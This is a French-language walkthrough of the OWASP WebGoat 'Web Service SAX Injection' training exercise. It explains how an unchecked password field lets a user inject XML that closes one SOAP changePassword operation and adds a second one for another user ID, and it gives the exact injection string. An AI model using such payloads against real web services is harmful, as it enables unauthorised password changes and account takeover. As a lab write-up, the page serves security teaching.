OWASP WebGoat:Web Service SAX Injection
Jump to navigation
Jump to search
Web Service SAX Injection
Description
Tout comme il est possible de faire de l'injection de code JavaScript ou SQL dans un champ de formulaire non contrôlé, il est également possible d'injecter du XML afin de modifier une requête. C'est ce que propose cet exercice.
Exercice
La requête qui est envoyée est la suivante :
<?xml version='1.0' encoding='UTF-8'?> <wsns0:Envelope xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xmlns:xsd='http://www.w3.org/2001/XMLSchema' xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/' xmlns:wsns1='http://lessons.webgoat.owasp.org'> <wsns0:Body> <wsns1:changePassword> <id xsi:type='xsd:int'>101</nowiki></id> <password xsi:type='xsd:string'>mot_de_passe_101</password> </wsns1:changePassword> </wsns0:Body> </wsns0:Envelope>
Dans la mesure où nous ne pouvons agir que sur la partie colorée en vert (à partir du mot de passe), et où l'identifiant 101 figure avant, il semble nécessaire de fermer la première opération puis d'en créer une seconde :
<?xml version='1.0' encoding='UTF-8'?> <wsns0:Envelope xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xmlns:xsd='http://www.w3.org/2001/XMLSchema' xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/' xmlns:wsns1='http://lessons.webgoat.owasp.org'> <wsns0:Body> <wsns1:changePassword> <id xsi:type='xsd:int'>101</id> <password xsi:type='xsd:string'>mot_de_passe_101</password> </wsns1:changePassword> <wsns1:changePassword> <id xsi:type='xsd:int'>102</id> <password xsi:type='xsd:string'>mot_de_passe_102</password> </wsns1:changePassword> </wsns0:Body> </wsns0:Envelope>
La chaîne à insérer dans le champ "Please change your password" est donc :
mot_de_passe_101</password> </wsns1:changePassword> <wsns1:changePassword> <id xsi:type='xsd:int'>102</id> <password xsi:type='xsd:string'>mot_de_passe_102
Ce qui nous permet de résoudre l'exercice :